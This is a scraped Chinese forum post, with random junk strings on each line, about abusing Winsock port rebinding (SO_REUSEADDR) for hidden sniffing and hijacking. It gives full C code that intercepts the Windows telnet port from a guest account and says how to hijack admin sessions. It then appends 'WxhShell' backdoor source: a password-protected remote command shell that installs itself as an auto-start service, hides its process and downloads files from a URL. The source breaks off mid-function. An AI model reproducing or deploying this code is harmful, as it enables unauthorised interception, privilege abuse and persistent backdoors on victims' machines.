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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ua!i3]18  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rM?O2n  
b-)m'B}`  
  saddr.sin_family = AF_INET; Q9Tt3h2ga  
= aO1uC|6C  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kn$2_I9  
kGz0`8U Ru  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ox| ?  
O4)'78ATp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }u3Q*oAGl  
j{8;5 ?x  
  这意味着什么?意味着可以进行如下的攻击: Th\w#%'N  
@2yoy&IO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ff eX;pi  
D8OW|wVE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 71S~*"O0f  
":qhO0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "3&bh>#qY  
UyFvj4SU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g2Hz[C(  
sJI" m'r=Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 aXv[~  
ec8 iZ8h8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 k?!CJ@5$  
=3~5I&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1 N{unS  
`\p5!Iq Q  
  #include c @U\d<{w  
  #include W"{:|'/v  
  #include tv]^k]n{rf  
  #include    (h8RthQt  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ihn#GzM?u  
  int main() U"qR6  
  { =c-Y >  
  WORD wVersionRequested; /v<FH}  
  DWORD ret; 0uZL*4A+C  
  WSADATA wsaData; 8I>'x f  
  BOOL val; +hIC N,8!  
  SOCKADDR_IN saddr; eNHSfq  
  SOCKADDR_IN scaddr; U%:K11Kr  
  int err; . r?URC  
  SOCKET s; e(z'u A{!  
  SOCKET sc; T{CCZ"Fv  
  int caddsize; 9Sb[5_Q  
  HANDLE mt; qS9z0HLE  
  DWORD tid;   b41f7t=  
  wVersionRequested = MAKEWORD( 2, 2 );  T)Uhp  
  err = WSAStartup( wVersionRequested, &wsaData ); r(ZMZ^  
  if ( err != 0 ) { Ye=c;0V(w  
  printf("error!WSAStartup failed!\n"); ?hFG+`"W  
  return -1; +A;AX.mr  
  } 6_=t~9sY  
  saddr.sin_family = AF_INET; B4#XQ-  
   P&sn IJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dED&-e#  
>h Rq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t}Q PPp y  
  saddr.sin_port = htons(23); {Mv$~T|e7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2Wx~+@1y  
  {  Qi;62M  
  printf("error!socket failed!\n"); Ya*<me>`  
  return -1; -d*zgP  
  } nb30<h  
  val = TRUE; 0en Bq>vr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _xmS$z)TO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i-YSt5iq  
  { x:? EL)(  
  printf("error!setsockopt failed!\n"); pba`FC4R  
  return -1; J$D/-*/@  
  } ` it<\r[=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >zS<1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o>l/*i0I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "\~d!"n|2  
I1)t1%6"vJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -;Ij ,  
  { U/s!Tb>`  
  ret=GetLastError(); 9Qb6ek  
  printf("error!bind failed!\n"); SZVAf|]Yg  
  return -1; 7Eo;TNbb  
  } %7v!aJ40  
  listen(s,2); lzbAx  
  while(1) bSkr:|A7  
  { !+)5?o  
  caddsize = sizeof(scaddr); v.!e1ke8D*  
  //接受连接请求 -)%g MD~z1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); x4N*P  
  if(sc!=INVALID_SOCKET) =JGL~t?  
  { qa>H@`P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~(x"Y\PEu  
  if(mt==NULL) dcH@$D@~S  
  { ^Z>Nbzr{  
  printf("Thread Creat Failed!\n"); {3qlx1w  
  break; -}CMNh   
  } cna/?V  
  } 8#ZF<B Y  
  CloseHandle(mt); }8Yu"P${Y  
  } V6!1(|  
  closesocket(s); PLueH/gC.  
  WSACleanup(); 'E)g )@^  
  return 0; i `7(5L~`  
  }   ?m\? #  
  DWORD WINAPI ClientThread(LPVOID lpParam) K 9tr Iy$v  
  { VUUE2k;^  
  SOCKET ss = (SOCKET)lpParam; F T$x#>  
  SOCKET sc; :soR7oHZ  
  unsigned char buf[4096]; jmJeu@(  
  SOCKADDR_IN saddr; #/ HQ?3h]  
  long num; /=[hRn@)A  
  DWORD val; 6R|^IPOGp  
  DWORD ret; 5_[we1$P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S7h?tR*u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *cy!PF&  
  saddr.sin_family = AF_INET; 1a tQ9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r E&}B5PN=  
  saddr.sin_port = htons(23); 2o<aEn&7|e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W}P9I&3  
  { DR(/|?k+  
  printf("error!socket failed!\n"); y4N2gBTKu  
  return -1; il[waUfmD  
  } `6\u!#  
  val = 100; /2x@Z>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y1bo28  
  { NI85|*h  
  ret = GetLastError(); :I(d-,C  
  return -1; k9!eu j&  
  } t8f:?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sP@7%p>wt  
  { (2(y9r*1  
  ret = GetLastError(); %fIYWu`X  
  return -1; ` 1v Dp.  
  } FyWrb+_0v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9P&{Xhs7  
  { &l~9FE *  
  printf("error!socket connect failed!\n"); ;$g?W"  
  closesocket(sc); 7_~_$I~g*  
  closesocket(ss); )ml#2XP!f  
  return -1; T_ga?G<  
  } ziXI$B4-  
  while(1) Vtv1{/@+c  
  { 9dwLkr  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .s%dP.P:i1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i$6o>V6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8<=]4-X@  
  num = recv(ss,buf,4096,0); IqCh4y3  
  if(num>0) ]2rC n};  
  send(sc,buf,num,0); 6T6UIq  
  else if(num==0) ,*Z/3at}5M  
  break; d Z}|G-:  
  num = recv(sc,buf,4096,0); 4l@aga  
  if(num>0) JOo+RA5d  
  send(ss,buf,num,0); OU[ FiW-E  
  else if(num==0) |& _(I  
  break;  tPChVnB  
  } P-\65]`C  
  closesocket(ss); 3'!*/UnU  
  closesocket(sc); IweNe`Z  
  return 0 ; vu~7Z;y(<j  
  } ot,=.%O  
'DD~xCXE  
eQJyO9$G  
========================================================== \u*[mrX_B:  
F- {hXM  
下边附上一个代码,,WXhSHELL D22A)0+_  
o('6,D  
========================================================== df{6!}/(  
;v5Jps2^]  
#include "stdafx.h" >"[Nmx0;w  
\xKhbpO~  
#include <stdio.h> ->'xjD  
#include <string.h> '[p0+5*x  
#include <windows.h> /Zg4JQ~  
#include <winsock2.h> x$) E^|A+  
#include <winsvc.h> +&[X7r<  
#include <urlmon.h> Z@i,9 a  
LY2QKjgP  
#pragma comment (lib, "Ws2_32.lib") [6CWgQ%Ue  
#pragma comment (lib, "urlmon.lib") lz4M)pL^  
#ds@!u+&  
#define MAX_USER   100 // 最大客户端连接数 7 b 8pWM  
#define BUF_SOCK   200 // sock buffer >M7(<V  
#define KEY_BUFF   255 // 输入 buffer co*XW  
j/uzsu+  
#define REBOOT     0   // 重启 a*qc  
#define SHUTDOWN   1   // 关机 W#foVAi .  
QPX3a8w*  
#define DEF_PORT   5000 // 监听端口 i2Sh^\Xw  
0Vj!'=Ntv  
#define REG_LEN     16   // 注册表键长度 [bjP-pX  
#define SVC_LEN     80   // NT服务名长度 r85j /YK  
.xe+cK  
// 从dll定义API %:8XZf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3K%_wCZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V U~r~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); COcS w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mW1T4rR'  
Hlz$@[$  
// wxhshell配置信息 ;FnS=Z  
struct WSCFG { OE2r2ad  
  int ws_port;         // 监听端口 pE 6r7  
  char ws_passstr[REG_LEN]; // 口令 v[~Q   
  int ws_autoins;       // 安装标记, 1=yes 0=no ?I7%ueFY  
  char ws_regname[REG_LEN]; // 注册表键名 ,f$ftn\~j/  
  char ws_svcname[REG_LEN]; // 服务名 r[P+F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }LryRcrD-n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vP^V3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R(IYb%L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [s F/sa 3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @O8X )  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V eLGxc  
iZ9ed ]mf  
}; 0W,.1J2*  
ddEV@2F  
// default Wxhshell configuration oG=4&SQ  
struct WSCFG wscfg={DEF_PORT, T&->xe f=  
    "xuhuanlingzhe", yK0iW  
    1, i'z (`"  
    "Wxhshell", cG5u$B  
    "Wxhshell", Hu"TEhW(2  
            "WxhShell Service", I[P_j`aE  
    "Wrsky Windows CmdShell Service", $ZRvvm!f  
    "Please Input Your Password: ", *mkL>v &  
  1, gb/<(I )  
  "http://www.wrsky.com/wxhshell.exe", _*n 4W^8  
  "Wxhshell.exe" k; ned  
    }; }r|$\ms  
qsdgG1<  
// 消息定义模块 |)%;B%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V(0V$&qipc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4E@_Fn_#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ag} P  
char *msg_ws_ext="\n\rExit."; S&NWZ:E3[  
char *msg_ws_end="\n\rQuit."; Jm,tN/o*  
char *msg_ws_boot="\n\rReboot..."; &e99P{\D  
char *msg_ws_poff="\n\rShutdown..."; !rff/0/x"  
char *msg_ws_down="\n\rSave to "; _z53r+A  
j7b4wH\#  
char *msg_ws_err="\n\rErr!"; Xn%O .yM6  
char *msg_ws_ok="\n\rOK!"; {=9"WN    
(1Klj+"p%  
char ExeFile[MAX_PATH]; ->2m/d4a  
int nUser = 0; r?HbApV P  
HANDLE handles[MAX_USER]; GxA[N  
int OsIsNt; $J*lD -h-  
@gk{wh>c  
SERVICE_STATUS       serviceStatus; [n&SA]a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P9 qZjBS  
c1 Hp  
// 函数声明 4}Yn!"jW&  
int Install(void); R,m|+[sl  
int Uninstall(void); ]p8<Vluv  
int DownloadFile(char *sURL, SOCKET wsh); V:2{LR<R8  
int Boot(int flag); 3y yVI#  
void HideProc(void); &S8,-~U  
int GetOsVer(void); Z=s.`?Z  
int Wxhshell(SOCKET wsl); ]r>m{"~E  
void TalkWithClient(void *cs); I.kuYD62  
int CmdShell(SOCKET sock); "/d  
int StartFromService(void); N 'YzCq;M  
int StartWxhshell(LPSTR lpCmdLine); K6N+0#  
))E| SAr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 63c\1]YB.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 64t:  
!&R|P|7qN}  
// 数据结构和表定义 "]U_o<V  
SERVICE_TABLE_ENTRY DispatchTable[] = 8j}o\!H  
{ h}=  
{wscfg.ws_svcname, NTServiceMain}, VCa`|S?2  
{NULL, NULL} YD] :3!MI  
}; ?%Gzd(YEY  
uIR/^o  
// 自我安装 N V`=T?1[5  
int Install(void) r>J%Eu/O  
{ QUWx\hqE  
  char svExeFile[MAX_PATH]; 6\xfoy|j  
  HKEY key; $j/#IzD1D  
  strcpy(svExeFile,ExeFile); ]:~z#k|2@6  
oVY_|UujG  
// 如果是win9x系统,修改注册表设为自启动 'k/:3?R  
if(!OsIsNt) { *&~ '  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $.3J1DU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x57O.WdN  
  RegCloseKey(key); S+GW}?!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /hAy1V6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X- `PF  
  RegCloseKey(key); +7r?vo1  
  return 0; 1Sd<cOEd  
    } pI( H7 (  
  } - @tL]]  
} iVA=D&eZ  
else { +<fT\Oq#  
7AQv4  
// 如果是NT以上系统,安装为系统服务 15R:m:T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WP !u3\91  
if (schSCManager!=0) Bs^p!4=  
{ (1)b> 6  
  SC_HANDLE schService = CreateService lF~!F<^9  
  ( R/l/GNm  
  schSCManager, hI,+J>  
  wscfg.ws_svcname,  Vsd4;  
  wscfg.ws_svcdisp, o&Y R\BI/  
  SERVICE_ALL_ACCESS, |N:kf&]b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '}F..w/  
  SERVICE_AUTO_START, 'SKq<X%R;  
  SERVICE_ERROR_NORMAL, ?~ /_&=NSx  
  svExeFile, {0 L)B{|  
  NULL, 5Vlm?mPU  
  NULL, L | #"Yn  
  NULL, 3V3q vd  
  NULL, Dp^6|T*HU  
  NULL lKV7IoJ&;  
  ); fhmBKeFdV  
  if (schService!=0) LknV47vd  
  { eOJ_L]y-  
  CloseServiceHandle(schService); `bW0Va N  
  CloseServiceHandle(schSCManager); /@0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <"nF`'olV  
  strcat(svExeFile,wscfg.ws_svcname); (>`S{L C>s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vs(D(d,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L[MAc](me-  
  RegCloseKey(key); Kc+TcC  
  return 0; P7*?E*   
    } c!]yT0v&s  
  } 6k;>:[p  
  CloseServiceHandle(schSCManager); 1HUe8m[#3  
} }U qL2KXi4  
} U[6 ~ad a  
Su*Pd;  
return 1; G4G<Ow)`  
} wc?YzXP+  
0xUn#&A~  
// 自我卸载 I?CfdI  
int Uninstall(void) J/\^3rCB  
{ ,AG k4]  
  HKEY key; !jRs5{n^Ol  
[>|6qY$D  
if(!OsIsNt) { Zz!yv(e)H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XF?"G<2  
  RegDeleteValue(key,wscfg.ws_regname); Y.E]U!i*  
  RegCloseKey(key);  4q\gFFV4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7A{,)Y/w ^  
  RegDeleteValue(key,wscfg.ws_regname); Y/qs\c+  
  RegCloseKey(key); \{ff7_mLo  
  return 0; CykvTV Q  
  } l|fb;Giq=D  
} _7,4C?  
} Gg6<4T1  
else { CW?R7A/  
-"}nm!j /5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2cko GafG{  
if (schSCManager!=0) " l>tFa  
{ |]]Rp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6{H@VF<QY!  
  if (schService!=0) K'b #}N\  
  { QaSRD/,M  
  if(DeleteService(schService)!=0) { bH.f4-.u>)  
  CloseServiceHandle(schService); WTwura,  
  CloseServiceHandle(schSCManager); M^0^l9w  
  return 0; i?6#>;f  
  } ~2O1$ou  
  CloseServiceHandle(schService); m*` W&k[  
  } 3($tD*!o  
  CloseServiceHandle(schSCManager); ]~\%ANoi  
} ef:YYt{|q  
} B4w/cIj_  
HA~BXxa/  
return 1; ~--F?KUnL  
} 'v_k #%  
DxxY<OkN  
// 从指定url下载文件 6&6t=  
int DownloadFile(char *sURL, SOCKET wsh) &o7"L;  
{ X"S")BQ q  
  HRESULT hr; t?h\Af4Tf  
char seps[]= "/"; L^??*XEUJ  
char *token; }nMp.7b  
char *file; j9*5Kj  
char myURL[MAX_PATH]; @Mf ZP~T+  
char myFILE[MAX_PATH]; D()tP  
!0Eo9bU%@  
strcpy(myURL,sURL); (gb vInZ  
  token=strtok(myURL,seps); W!)B%.Q  
  while(token!=NULL) tWA<OOl  
  { (`&E^t  
    file=token; "$e p=h+  
  token=strtok(NULL,seps); 1.z]/cx<y  
  } \)2~o N  
lj@ ibA]  
GetCurrentDirectory(MAX_PATH,myFILE); kw5`KfG9  
strcat(myFILE, "\\"); b@9d@@/wx  
strcat(myFILE, file); @H8CU!J  
  send(wsh,myFILE,strlen(myFILE),0); cR!Mn$m  
send(wsh,"...",3,0); %D E_kwL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !5K5;M_Ih"  
  if(hr==S_OK) YkI_i(  
return 0; hd#MV!ti  
else U2*kuP+n  
return 1; )CG,Udu  
W"\O+  
} 8GT4U5c ;  
$zJ!L  
// 系统电源模块 !Er)|YP  
int Boot(int flag) 6yedl0@wa!  
{ h&<>nK   
  HANDLE hToken; SH;:bLk_  
  TOKEN_PRIVILEGES tkp; EsjZ;D, c(  
#~`d ;MC  
  if(OsIsNt) { ejlau#8"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~~{+?v6B]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z{A~d  
    tkp.PrivilegeCount = 1; -H"^;37T"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^2"3h$DJfS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]I(<hDuRp  
if(flag==REBOOT) { aU%QJ#j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,`ju(ac!  
  return 0; zc5>)v LH=  
} %KW NY(m  
else { ONm-zRx|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6U%F mE@  
  return 0; +lw*/\7  
} ETrL3W<  
  } GUUd(xS {  
  else { N`NW*~  
if(flag==REBOOT) { v6O5n(5,,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'rSJ9Mw"x  
  return 0; F 8 gw3  
} q;9OqArq  
else { "~6IjW*/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `_ )5K u}  
  return 0; I4MZ JAYk  
} UiH5iZ<r;  
} VVHL@  
s+6tdBvzs  
return 1; 4x?4[J~u[  
} ->5[C0: ]  
f- ~]  
// win9x进程隐藏模块 k5eTfaxl  
void HideProc(void) -5<G^AS  
{ Z2&7HTz  
Ed>n/)Sm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |!uC [=  
  if ( hKernel != NULL ) :\"g}AX  
  { 5 IFc"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y{J7^o(_~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); - e_B  
    FreeLibrary(hKernel); /R[P sB  
  } EL;OYW(  
]vZ}4Xno  
return; M nDa ag  
} "rR$2`v"  
BD&AtOj[,  
// 获取操作系统版本 Fz^5cxmw  
int GetOsVer(void) X{;5jnpG  
{ CzG/=#IU  
  OSVERSIONINFO winfo; !s47A"O&B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6yhRcvJ}  
  GetVersionEx(&winfo); `{'h+v`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *2r(!fJP=^  
  return 1; tS6r4d%~=  
  else F{FSmUxzK  
  return 0; JwcC9 O  
} RgLkAHA  
JeU1r-i  
// 客户端句柄模块 b%|6y  
int Wxhshell(SOCKET wsl) Pt?d+aBtV  
{ $QJ,V~  
  SOCKET wsh; 4\(|V fy  
  struct sockaddr_in client; \v p^[,SI  
  DWORD myID; dyuT-.2  
7*g'4p-  
  while(nUser<MAX_USER) 9RJFj?^"  
{ rwY{QBSf  
  int nSize=sizeof(client); Z]=9=S| .4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >(eR0.x  
  if(wsh==INVALID_SOCKET) return 1; [_zoJ  
o`7B@]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `&g1`vg  
if(handles[nUser]==0) Cp^%;(@  
  closesocket(wsh); iK9#{1BpML  
else y+P$}Nru  
  nUser++; {#H'K*j{  
  } 7` IO mTk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R1C2d+L  
Zksow}%  
  return 0; <<+Hs/ ]  
} bXK$H=S Bz  
2hE+Om^n  
// 关闭 socket Q7SRf$4  
void CloseIt(SOCKET wsh) onF?;>[  
{ TPWqiA?3Cp  
closesocket(wsh); k~pbXA*u  
nUser--; Nj`Miv o  
ExitThread(0); 8 qwOZ d  
} # 3gdT  
&1ss @-  
// 客户端请求句柄 DWcEl:  
void TalkWithClient(void *cs) Gkz~x Qy1T  
{ tk'3Q1L  
G?v]|wdI  
  SOCKET wsh=(SOCKET)cs; o3>D~9  
  char pwd[SVC_LEN]; E?F?)!%  
  char cmd[KEY_BUFF]; T``~YoIdz  
char chr[1]; -mqTlXM  
int i,j; CB>O%m[1  
DK }1T  
  while (nUser < MAX_USER) { J)_IfbY  
99&PY[f:{  
if(wscfg.ws_passstr) { MI*@^{G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T.iVY5^<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BxHfL8$1[$  
  //ZeroMemory(pwd,KEY_BUFF); mY/x|)MmM  
      i=0; #GA6vJ4^s  
  while(i<SVC_LEN) { Ar1X mHq  
 XOd  
  // 设置超时 ~{BR~\D  
  fd_set FdRead; s&Ml1 A:  
  struct timeval TimeOut; h} <Ie <  
  FD_ZERO(&FdRead); 'EsdYx5C  
  FD_SET(wsh,&FdRead); + u'y!@VV  
  TimeOut.tv_sec=8; oSB0P  
  TimeOut.tv_usec=0; #;Z+ X)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _:.'\d(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (S k+nD  
_-bEnF+/0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  \%/zf  
  pwd=chr[0]; 6'QlC+E  
  if(chr[0]==0xd || chr[0]==0xa) { j[\aGS7u  
  pwd=0; s14;\  
  break; XyE%<]  
  } &g\?znF]H  
  i++; e?eX9yA7F  
    } j#JE4(&  
tCirdwmg  
  // 如果是非法用户,关闭 socket bAm ,gP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YlEV@  
} lv0}d  
rdQ'#}I x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ] ! :0^|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p_Y U!j_VE  
Nlfz'_0M  
while(1) { L'$;;eM4  
7T-}oNaJA\  
  ZeroMemory(cmd,KEY_BUFF); _#rE6./@q  
Y)OTvKrOA  
      // 自动支持客户端 telnet标准   LwS>jNJx  
  j=0; M>"J5yqR  
  while(j<KEY_BUFF) { 8nOent0a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {\zB'SNq  
  cmd[j]=chr[0]; ?^W`7HF%0  
  if(chr[0]==0xa || chr[0]==0xd) { 0w<qj T^U  
  cmd[j]=0; xlU:&=|  
  break; =}Xw}X+[WY  
  } xyc`p[n &  
  j++; %)@3V8OI  
    } ^=gzm s  
Zi~-m]9U  
  // 下载文件 o"./  
  if(strstr(cmd,"http://")) { /6a617?9J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SYmiDR  
  if(DownloadFile(cmd,wsh)) k>dzeH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nPo YjQi  
  else E< Ini'od[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Eqa y'  
  } $7JWA9#N!  
  else { ums*EKjs97  
d ,!sZ&v  
    switch(cmd[0]) { [_,Gk]F=  
  z'd*z[L~  
  // 帮助 NamO5(1C  
  case '?': { !JC!GS"M5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #Mmr{4m  
    break; ;H:+w\?8f$  
  } "I`g(q#Uo  
  // 安装 wUBug  
  case 'i': { HtbN7V/  
    if(Install()) <764|q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q]oCzSi  
    else e#j kp'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FfR%@ V'  
    break; H`028^CH$  
    } yQ M<(;\O  
  // 卸载 Da8{==  
  case 'r': { Af%#&r7W  
    if(Uninstall()) xfJ&11fG2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <fm0B3i?  
    else TScI_8c>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C=|X]"*:u0  
    break; H[KTM'n  
    } D%NVqk|  
  // 显示 wxhshell 所在路径 BavGirCp  
  case 'p': { {s/u [T_D2  
    char svExeFile[MAX_PATH]; Gv uX"J  
    strcpy(svExeFile,"\n\r"); -3 2?]LN}  
      strcat(svExeFile,ExeFile); 3om4q2R  
        send(wsh,svExeFile,strlen(svExeFile),0); w` ;>+_ E7  
    break; b`Agb <x"  
    } /,cyp .  
  // 重启 AD/7k3:  
  case 'b': { ~56F<=#,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jWL;ElM'  
    if(Boot(REBOOT)) :Z'q1kW@"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =$t  
    else { :i>/aRNh1  
    closesocket(wsh); 6EeK5XLf,  
    ExitThread(0); tQ > IJ  
    } A(<"oAe|  
    break; ]fgYO+  
    } |?KdQeL  
  // 关机 h-`*S&mZ  
  case 'd': { WOaj_o  
